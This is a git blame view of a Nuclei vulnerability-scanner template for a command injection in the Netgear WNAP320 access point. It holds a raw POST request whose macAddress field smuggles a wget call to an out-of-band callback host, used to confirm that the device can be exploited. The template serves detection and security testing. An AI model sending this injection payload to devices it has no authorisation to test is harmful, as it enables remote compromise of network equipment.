daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/vulnerabilities/other/netgear-wnap320-rce.yaml

30 lines
1007 B
YAML
Raw Normal View History

Create netgear-wnap320-rce.yaml vulnerabilities in the web-based management interface of Netgear WNAP320 Access Point could allow an authenticated, remote attacker to perform command injection attacks against an affected device. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-25 23:35:22 +00:00
id: netgear-wnap320-rce
info:
name: Netgear WNAP320 Access Point - Remote Code Execution (Unauthenticated)
author: gy741
severity: critical
description: vulnerabilities in the web-based management interface of Netgear WNAP320 Access Point could allow an authenticated, remote attacker to perform command injection attacks against an affected device.
Removed pipe (|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84
2021-08-18 11:37:49 +00:00
reference:
Create netgear-wnap320-rce.yaml vulnerabilities in the web-based management interface of Netgear WNAP320 Access Point could allow an authenticated, remote attacker to perform command injection attacks against an affected device. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-25 23:35:22 +00:00
- https://github.com/nobodyatall648/Netgear-WNAP320-Firmware-Version-2.0.3-RCE
Update netgear-wnap320-rce.yaml
2021-07-26 08:08:38 +00:00
tags: netgear,rce,oob,router
Create netgear-wnap320-rce.yaml vulnerabilities in the web-based management interface of Netgear WNAP320 Access Point could allow an authenticated, remote attacker to perform command injection attacks against an affected device. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-25 23:35:22 +00:00
requests:
- raw:
- |
POST /boardDataWW.php HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
macAddress=112233445566%3Bwget+http%3A%2F%2F{{interactsh-url}}%23&reginfo=0&writeData=Submit
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"